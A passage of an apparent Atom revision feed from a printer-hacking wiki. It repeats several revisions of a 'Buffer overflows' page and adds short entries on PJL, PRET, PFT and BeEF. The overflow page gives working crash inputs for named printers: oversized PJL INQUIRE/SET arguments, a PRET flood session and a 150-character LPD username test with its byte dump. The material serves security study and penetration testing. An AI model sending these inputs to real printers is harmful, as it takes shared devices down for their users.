 @PJL INQUIRE 00000000000000000000000000000000000000000000000000000…&lt;br /&gt;
&lt;br /&gt;
Sending about 3.000 characters as the ''SET'' argument to the ''Dell 1720n'' crashes the device and requires a manual restart to get the printer back to life:&lt;br /&gt;
&lt;br /&gt;
 @PJL SET 000000000000000000000000000000000000000000000000000000000…&lt;br /&gt;
&lt;br /&gt;
'''How to test for this attack?'''&lt;br /&gt;
&lt;br /&gt;
Buffer overflows in PJL input can be tested using PRET's ''flood'' command which sends large amounts of data to all arguments specified in the PJL reference &amp;lt;ref&amp;gt;''[http://h10032.www1.hp.com/ctg/Manual/bpl13208.pdf Printer Job Language Technical Reference Manual]'', HP Inc., 1997&amp;lt;/ref&amp;gt; and all PJL variables dynamically retrieved from the system:&lt;br /&gt;
&lt;br /&gt;
 ./pret.py -q printer pjl&lt;br /&gt;
 Connection to printer established&lt;br /&gt;
 &lt;br /&gt;
 Welcome to the pret shell. Type help or ? to list commands.&lt;br /&gt;
 printer:/&amp;gt; flood&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL SET [buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL [buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL COMMENT [buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL ENTER LANGUAGE=[buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL JOB NAME=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL EOJ NAME=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL INFO [buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL ECHO [buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL INQUIRE [buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL DINQUIRE [buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL USTATUS [buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL RDYMSG DISPLAY=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL FSQUERY NAME=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL FSDIRLIST NAME=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL FSINIT VOLUME=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL FSMKDIR NAME=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL FSUPLOAD NAME=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Who can perform this attack?'''&lt;br /&gt;
&lt;br /&gt;
Any anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].&lt;br /&gt;
&lt;br /&gt;
== LPD daemon ==&lt;br /&gt;
&lt;br /&gt;
The [[LPD]] protocol seems particularly interesting when testing for buffer overflows, because it allows multiple user-defined vectors like ''jobname'', ''username'' or ''hostname'', which may not be sufficiently protected. Sending more characters than allowed by the LPD specification &amp;lt;ref&amp;gt;''[https://www.ietf.org/rfc/rfc1179.txt RFC1179: Line Printer Daemon Protocol]'', L. McLaughlin, 1990&amp;lt;/ref&amp;gt; may result in an overflow. For example, receiving 150 characters and more as ''username'' operator of the control file's &amp;lt;code&amp;gt;L&amp;lt;/code&amp;gt; command (''print banner page'') completely crashes the ''HP LaserJet 1200'', the ''HP LaserJet 4200N'', the ''HP LaserJet 4250N'', the ''Dell 3110cn'', the ''Kyocera FS-C5200DN'' as well as the ''Samsung MultiPress 6345N'' and requires a manual restart to get the printers back to life.&lt;br /&gt;
&lt;br /&gt;
'''How to test for this attack?'''&lt;br /&gt;
&lt;br /&gt;
A simple LPD fuzzer to test for buffer overflows can be created using the ''lpdtest'' tool included in PRET. The &amp;lt;code&amp;gt;in&amp;lt;/code&amp;gt; argument sets all user inputs defined by the LPD protocol to a certain value (in this case, Python output):&lt;br /&gt;
&lt;br /&gt;
 $ ./lpdtest.py printer in &amp;quot;`python -c 'print &amp;quot;x&amp;quot;*150'`&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 &amp;gt; 02 6c 70 0a                                     \hspace{189pt}   .lp.&lt;br /&gt;
 &amp;lt; 00                                             .&lt;br /&gt;
 &amp;gt; 02 31 35 32 20 63 66 41 30 30 31 0a             \hspace{59.5pt}  .152 cfA001.&lt;br /&gt;
 &amp;lt; 00                                             .&lt;br /&gt;
 &amp;gt; 4c 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 Lxxxxxxxxxxxxxxx&lt;br /&gt;
 &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
 &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
 &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
 &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
 &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
 &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
 &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
 &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
 &amp;gt; 78 78 78 78 78 78 78 0a 00                      \hspace{108pt}   xxxxxxx..&lt;br /&gt;
&lt;br /&gt;
'''Who can perform this attack?'''&lt;br /&gt;
&lt;br /&gt;
Anyone who can access the LPD daemon through a network. Note that a web attacker can only exploit this flaw if cross-protocol scripting to port 515/tcp is allowed by the web browser (for example, Internet Explorer 10). Most browsers however block access to the LPD port by default (see [[Cross site printing]]).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-------------&lt;/div&gt;</summary>
		<author><name>134.147.128.156</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Buffer_overflows&amp;diff=110</id>
		<title>Buffer overflows</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Buffer_overflows&amp;diff=110"/>
				<updated>2017-01-14T17:33:51Z</updated>
		
		<summary type="html">&lt;p&gt;134.147.128.156: /* How to test this attack? */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;While the risk of [https://en.wikipedia.org/wiki/Buffer_overflow buffer overflows] is well-known &amp;lt;ref&amp;gt;''[http://phrack.org/issues/49/14.html Smashing The Stack For Fun And Profit]'', Aleph One, Phrack magazine #49, 1996, p. 14-16&amp;lt;/ref&amp;gt; and not limited to printers, it must be noted that printers provide additional languages and network services, potentially prone to this kind of attack. Exploitation may lead to denial of service or – given correct shellcode and return address – even to remote code execution. Buffer overflows are particularly dangerous on embedded devices, as they may have no protection mechanisms like [https://en.wikipedia.org/wiki/Address_space_layout_randomization ASLR], [https://en.wikipedia.org/wiki/NX_bit NX/DEP] or user separation, so all executed code is run as superuser.&lt;br /&gt;
&lt;br /&gt;
== PJL input ==&lt;br /&gt;
&lt;br /&gt;
[[PJL]] processors may be vulnerable to buffer overflows if the given input exceeds the buffer size. For example, various ''Lexmark'' laser printers crash when when receiving about 1.000 characters as the ''INQUIRE'' argument (see [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0619 CVE-2010-0619]):&lt;br /&gt;
&lt;br /&gt;
  @PJL INQUIRE 00000000000000000000000000000000000000000000000000000…&lt;br /&gt;
&lt;br /&gt;
Sending about 3.000 characters as the ''SET'' argument to the ''Dell 1720n'' crashes the device and requires a manual restart to get the printer back to life:&lt;br /&gt;
&lt;br /&gt;
  @PJL SET 000000000000000000000000000000000000000000000000000000000…&lt;br /&gt;
&lt;br /&gt;
=== How to test this attack? ===&lt;br /&gt;
&lt;br /&gt;
Buffer overflows in PJL input can be tested using PRET's ''flood'' command which sends large amounts of data to all arguments specified in the PJL reference &amp;lt;ref&amp;gt;''[http://h10032.www1.hp.com/ctg/Manual/bpl13208.pdf Printer Job Language Technical Reference Manual]'', HP Inc., 1997&amp;lt;/ref&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
 ./pret.py -q printer pjl&lt;br /&gt;
 Connection to printer established&lt;br /&gt;
  &lt;br /&gt;
 Welcome to the pret shell. Type help or ? to list commands.&lt;br /&gt;
 printer:/&amp;gt; flood&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL SET [buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL [buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL COMMENT [buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL ENTER LANGUAGE=[buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL JOB NAME=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL EOJ NAME=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL INFO [buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL ECHO [buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL INQUIRE [buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL DINQUIRE [buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL USTATUS [buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL RDYMSG DISPLAY=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL FSQUERY NAME=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL FSDIRLIST NAME=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL FSINIT VOLUME=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL FSMKDIR NAME=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL FSUPLOAD NAME=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Who can perform this attack? ===&lt;br /&gt;
&lt;br /&gt;
Any anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].&lt;br /&gt;
&lt;br /&gt;
== LPD daemon ==&lt;br /&gt;
&lt;br /&gt;
The [[LPD]] protocol seems particularly interesting when testing for buffer overflows, because it allows multiple user-defined vectors like ''jobname'', ''username'' or ''hostname'', which may not be sufficiently protected. Sending more characters than allowed by the LPD specification &amp;lt;ref&amp;gt;''[https://www.ietf.org/rfc/rfc1179.txt RFC1179: Line Printer Daemon Protocol]'', L. McLaughlin, 1990&amp;lt;/ref&amp;gt; may result in an overflow. For example, receiving 150 characters and more as ''username'' operator of the control file's &amp;lt;code&amp;gt;L&amp;lt;/code&amp;gt; command (''print banner page'') completely crashes the ''HP LaserJet 1200'', the ''HP LaserJet 4200N'', the ''HP LaserJet 4250N'', the ''Dell 3110cn'', the ''Kyocera FS-C5200DN'' as well as the ''Samsung MultiPress 6345N'' and requires a manual restart to get the printers back to life.&lt;br /&gt;
&lt;br /&gt;
=== How to test this attack? ===&lt;br /&gt;
&lt;br /&gt;
A simple LPD fuzzer to test for buffer overflows can be created using the ''lpdtest'' tool included in PRET. The &amp;lt;code&amp;gt;in&amp;lt;/code&amp;gt; argument sets all user inputs defined by the LPD protocol to a certain value (in this case, Python output):&lt;br /&gt;
&lt;br /&gt;
  $ ./lpdtest.py printer in &amp;quot;`python -c 'print &amp;quot;x&amp;quot;*150'`&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
  &amp;gt; 02 6c 70 0a                                     \hspace{189pt}   .lp.&lt;br /&gt;
  &amp;lt; 00                                             .&lt;br /&gt;
  &amp;gt; 02 31 35 32 20 63 66 41 30 30 31 0a             \hspace{59.5pt}  .152 cfA001.&lt;br /&gt;
  &amp;lt; 00                                             .&lt;br /&gt;
  &amp;gt; 4c 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 Lxxxxxxxxxxxxxxx&lt;br /&gt;
  &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
  &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
  &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
  &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
  &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
  &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
  &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
  &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
  &amp;gt; 78 78 78 78 78 78 78 0a 00                      \hspace{108pt}   xxxxxxx..&lt;br /&gt;
&lt;br /&gt;
=== Who can perform this attack? ===&lt;br /&gt;
&lt;br /&gt;
Anyone who can access the LPD daemon through a network. Note that a web attacker can only exploit this flaw if cross-protocol scripting to port 515/tcp is allowed by the web browser (for example, Internet Explorer 10). Most browsers however block access to the LPD port by default (see [[Cross site printing]]).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-------------&lt;/div&gt;</summary>
		<author><name>134.147.128.156</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Buffer_overflows&amp;diff=109</id>
		<title>Buffer overflows</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Buffer_overflows&amp;diff=109"/>
				<updated>2017-01-14T17:33:35Z</updated>
		
		<summary type="html">&lt;p&gt;134.147.128.156: /* How to test this attack? */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;While the risk of [https://en.wikipedia.org/wiki/Buffer_overflow buffer overflows] is well-known &amp;lt;ref&amp;gt;''[http://phrack.org/issues/49/14.html Smashing The Stack For Fun And Profit]'', Aleph One, Phrack magazine #49, 1996, p. 14-16&amp;lt;/ref&amp;gt; and not limited to printers, it must be noted that printers provide additional languages and network services, potentially prone to this kind of attack. Exploitation may lead to denial of service or – given correct shellcode and return address – even to remote code execution. Buffer overflows are particularly dangerous on embedded devices, as they may have no protection mechanisms like [https://en.wikipedia.org/wiki/Address_space_layout_randomization ASLR], [https://en.wikipedia.org/wiki/NX_bit NX/DEP] or user separation, so all executed code is run as superuser.&lt;br /&gt;
&lt;br /&gt;
== PJL input ==&lt;br /&gt;
&lt;br /&gt;
[[PJL]] processors may be vulnerable to buffer overflows if the given input exceeds the buffer size. For example, various ''Lexmark'' laser printers crash when when receiving about 1.000 characters as the ''INQUIRE'' argument (see [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0619 CVE-2010-0619]):&lt;br /&gt;
&lt;br /&gt;
  @PJL INQUIRE 00000000000000000000000000000000000000000000000000000…&lt;br /&gt;
&lt;br /&gt;
Sending about 3.000 characters as the ''SET'' argument to the ''Dell 1720n'' crashes the device and requires a manual restart to get the printer back to life:&lt;br /&gt;
&lt;br /&gt;
  @PJL SET 000000000000000000000000000000000000000000000000000000000…&lt;br /&gt;
&lt;br /&gt;
=== How to test this attack? ===&lt;br /&gt;
&lt;br /&gt;
Buffer overflows in PJL input can be tested using PRET's ''flood'' command which sends large amounts of data to all arguments specified in the PJL reference &amp;lt;ref&amp;gt;''[http://h10032.www1.hp.com/ctg/Manual/bpl13208.pdf Printer Job Language Technical Reference Manual]'', HP Inc., 1997&amp;lt;/ref&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
 ./pret.py -q printer pjl&lt;br /&gt;
 Connection to printer established&lt;br /&gt;
  &lt;br /&gt;
 Welcome to the pret shell. Type help or ? to list commands.&lt;br /&gt;
 printer:/&amp;gt; flood&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL SET [buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL [buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL COMMENT [buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL ENTER LANGUAGE=[buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL JOB NAME=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL EOJ NAME=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
  Buffer size: 10000, Sending: @PJL INFO [buffer]&lt;br /&gt;
  Buffer size: 10000, Sending: @PJL ECHO [buffer]&lt;br /&gt;
  Buffer size: 10000, Sending: @PJL INQUIRE [buffer]&lt;br /&gt;
  Buffer size: 10000, Sending: @PJL DINQUIRE [buffer]&lt;br /&gt;
  Buffer size: 10000, Sending: @PJL USTATUS [buffer]&lt;br /&gt;
  Buffer size: 10000, Sending: @PJL RDYMSG DISPLAY=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
  Buffer size: 10000, Sending: @PJL FSQUERY NAME=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
  Buffer size: 10000, Sending: @PJL FSDIRLIST NAME=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
  Buffer size: 10000, Sending: @PJL FSINIT VOLUME=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
  Buffer size: 10000, Sending: @PJL FSMKDIR NAME=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
  Buffer size: 10000, Sending: @PJL FSUPLOAD NAME=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Who can perform this attack? ===&lt;br /&gt;
&lt;br /&gt;
Any anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].&lt;br /&gt;
&lt;br /&gt;
== LPD daemon ==&lt;br /&gt;
&lt;br /&gt;
The [[LPD]] protocol seems particularly interesting when testing for buffer overflows, because it allows multiple user-defined vectors like ''jobname'', ''username'' or ''hostname'', which may not be sufficiently protected. Sending more characters than allowed by the LPD specification &amp;lt;ref&amp;gt;''[https://www.ietf.org/rfc/rfc1179.txt RFC1179: Line Printer Daemon Protocol]'', L. McLaughlin, 1990&amp;lt;/ref&amp;gt; may result in an overflow. For example, receiving 150 characters and more as ''username'' operator of the control file's &amp;lt;code&amp;gt;L&amp;lt;/code&amp;gt; command (''print banner page'') completely crashes the ''HP LaserJet 1200'', the ''HP LaserJet 4200N'', the ''HP LaserJet 4250N'', the ''Dell 3110cn'', the ''Kyocera FS-C5200DN'' as well as the ''Samsung MultiPress 6345N'' and requires a manual restart to get the printers back to life.&lt;br /&gt;
&lt;br /&gt;
=== How to test this attack? ===&lt;br /&gt;
&lt;br /&gt;
A simple LPD fuzzer to test for buffer overflows can be created using the ''lpdtest'' tool included in PRET. The &amp;lt;code&amp;gt;in&amp;lt;/code&amp;gt; argument sets all user inputs defined by the LPD protocol to a certain value (in this case, Python output):&lt;br /&gt;
&lt;br /&gt;
  $ ./lpdtest.py printer in &amp;quot;`python -c 'print &amp;quot;x&amp;quot;*150'`&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
  &amp;gt; 02 6c 70 0a                                     \hspace{189pt}   .lp.&lt;br /&gt;
  &amp;lt; 00                                             .&lt;br /&gt;
  &amp;gt; 02 31 35 32 20 63 66 41 30 30 31 0a             \hspace{59.5pt}  .152 cfA001.&lt;br /&gt;
  &amp;lt; 00                                             .&lt;br /&gt;
  &amp;gt; 4c 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 Lxxxxxxxxxxxxxxx&lt;br /&gt;
  &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
  &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
  &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
  &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
  &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
  &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
  &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
  &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
  &amp;gt; 78 78 78 78 78 78 78 0a 00                      \hspace{108pt}   xxxxxxx..&lt;br /&gt;
&lt;br /&gt;
=== Who can perform this attack? ===&lt;br /&gt;
&lt;br /&gt;
Anyone who can access the LPD daemon through a network. Note that a web attacker can only exploit this flaw if cross-protocol scripting to port 515/tcp is allowed by the web browser (for example, Internet Explorer 10). Most browsers however block access to the LPD port by default (see [[Cross site printing]]).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-------------&lt;/div&gt;</summary>
		<author><name>134.147.128.156</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=PJL&amp;diff=108</id>
		<title>PJL</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=PJL&amp;diff=108"/>
				<updated>2017-01-14T17:15:44Z</updated>
		
		<summary type="html">&lt;p&gt;134.147.128.156: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The Printer Job Language (PJL) was originally introduced by HP but soon became a de facto standard for print job control. ‘PJL resides above other printer languages’ &amp;lt;ref&amp;gt;''[http://h10032.www1.hp.com/ctg/Manual/bpl13208.pdf Printer Job Language Technical Reference Manual]'', HP Inc., 1997, p. 1-2&amp;lt;/ref&amp;gt; and can be used to change settings like paper tray or size. It must however be pointed out that PJL is not limited to the current print job as some settings can be made permanent. PJL can also be used to change the printer's display or read/write files on the device. There are many dialects as vendors tend to support only a subset of the commands listed in the PJL reference and instead prefer to add proprietary ones. PJL is further used to set the file format of the actual print data to follow. Without such explicit language switching, the printer has to identify the page description language based on magic numbers. Typical PJL commands to set the paper size and the number of copies before switching the interpreter to PostScript mode are shown below:&lt;br /&gt;
&lt;br /&gt;
  @PJL SET PAPER=A4&lt;br /&gt;
  @PJL SET COPIES=10&lt;br /&gt;
  @PJL ENTER LANGUAGE=POSTSCRIPT&lt;br /&gt;
&lt;br /&gt;
PJL can be used for various attacks such as [[denial of service]], manipulating hardware [[Accounting bypass#Hardware_page_counters|page counters]], gaining access to the printer's [[Memory access|memory]] and [[File system access|file system]] as well as malicious [[firmware updates]].&lt;br /&gt;
&lt;br /&gt;
→ ''Related aricles:'' [[Fundamentals#Printer Control Languages|Printer Control Languages]], [[Denial of service]], [[Accounting bypass]], [[Memory access]], [[File system access]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
------------&lt;/div&gt;</summary>
		<author><name>134.147.128.156</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=PRET&amp;diff=103</id>
		<title>PRET</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=PRET&amp;diff=103"/>
				<updated>2017-01-10T18:27:55Z</updated>
		
		<summary type="html">&lt;p&gt;134.147.128.156: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The Printer Exploitation Toolkit (PRET) is a Python tool developed at the University of Bochum to automate most attacks presented in this wiki. It connects to a printing device via [[Port 9100 printing|network]] or [[USB]] and allows penetration testers to exploit a large variety of bugs and features in [[PostScript]], [[PJL]] and [[PCL]], including temporary and physical [[denial of service]] attacks, resetting the device to [[factory defaults]], print job [[Print job manipulation|manipulation]] and [[Print job retention|retention]], access to a printer's [[Memory access|memory]] and [[File system access|file system]] as well as [[Credential disclosure|password cracking]].&lt;br /&gt;
&lt;br /&gt;
== External links ==&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/RUB-NDS/PRET Official website]&lt;/div&gt;</summary>
		<author><name>134.147.128.156</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=PRET&amp;diff=102</id>
		<title>PRET</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=PRET&amp;diff=102"/>
				<updated>2017-01-10T18:25:48Z</updated>
		
		<summary type="html">&lt;p&gt;134.147.128.156: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The Printer Exploitation Toolkit (PRET) is a Python tool to automate most attacks presented in this wiki. It connects to a printing device via [[Port 9100 printing|network]] or [[USB]] and allows penetration testers to exploit a large variety of bugs and features in [[PostScript]], [[PJL]] and [[PCL]], including temporary and physical [[denial of service]] attacks, resetting the device to [[factory defaults]], print job [[Print job manipulation|manipulation]] and [[Print job retention|retention]], access to a printer's [[Memory access|memory]] and [[File system access|file system]] as well as [[Credential disclosure|password cracking]].&lt;br /&gt;
&lt;br /&gt;
== External links ==&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/RUB-NDS/PRET Official website]&lt;/div&gt;</summary>
		<author><name>134.147.128.156</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=PFT&amp;diff=101</id>
		<title>PFT</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=PFT&amp;diff=101"/>
				<updated>2017-01-10T18:11:55Z</updated>
		
		<summary type="html">&lt;p&gt;134.147.128.156: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;PFT, libPJL and Hijetter were the first publicly available tools for network printer exploitation. They are written in C++/VC++ and have been released by the legendary Phenoelit hacking group in the early 2000s to explore printers via their [[PJL]] interface. This includes access to PJL variables, the printer's file system and the control panel display. Furthermore, PFT allows penetration testers to set and crack PJL passwords.&lt;br /&gt;
&lt;br /&gt;
== External links ==&lt;br /&gt;
&lt;br /&gt;
* [http://www.phenoelit.org/hp/ Official website]&lt;/div&gt;</summary>
		<author><name>134.147.128.156</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=BeEF&amp;diff=100</id>
		<title>BeEF</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=BeEF&amp;diff=100"/>
				<updated>2017-01-10T18:10:31Z</updated>
		
		<summary type="html">&lt;p&gt;134.147.128.156: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The Browser Exploitation Framework (BeEF) is a penetration testing tool that focuses on the web browser. It allows the penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. BeEF can hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.&lt;br /&gt;
&lt;br /&gt;
'''While BeEF itself is not about printers at all, it is the framework of choice to implement [[cross-site printing]] functionality.'''&lt;br /&gt;
&lt;br /&gt;
== External links ==&lt;br /&gt;
&lt;br /&gt;
* [http://beefproject.com/ Official website]&lt;/div&gt;</summary>
		<author><name>134.147.128.156</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=PFT&amp;diff=99</id>
		<title>PFT</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=PFT&amp;diff=99"/>
				<updated>2017-01-10T18:08:25Z</updated>
		
		<summary type="html">&lt;p&gt;134.147.128.156: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;PFT, libPJL and Hijetter were the first publicly available tools for printer exploitation. They are written in C++/VC++ and have been released by the legendary Phenoelit hacking group in the early 2000s to explore printers via their [[PJL]] interface. This includes access to PJL variables, the printer's file system and the control panel display. Furthermore, PFT allows penetration testers to set and crack PJL passwords.&lt;br /&gt;
&lt;br /&gt;
== External links ==&lt;br /&gt;
&lt;br /&gt;
* [http://www.phenoelit.org/hp/ Official website]&lt;/div&gt;</summary>
		<author><name>134.147.128.156</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=PFT&amp;diff=98</id>
		<title>PFT</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=PFT&amp;diff=98"/>
				<updated>2017-01-10T18:05:41Z</updated>
		
		<summary type="html">&lt;p&gt;134.147.128.156: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;PFT, libPJL and Hijetter were the first publicaly available C++ tools for printer exploitation, released by the Phenoelit in the early 2000s to explore printers via their [[PJL]] interface. This includes access to PJL variables, the printer's file system and the control panel display and allow penetration testers to set and crack PJL passwords.&lt;br /&gt;
&lt;br /&gt;
== External links ==&lt;br /&gt;
&lt;br /&gt;
* [http://www.phenoelit.org/hp/ Official website]&lt;/div&gt;</summary>
		<author><name>134.147.128.156</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Praeda&amp;diff=97</id>
		<title>Praeda</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Praeda&amp;diff=97"/>
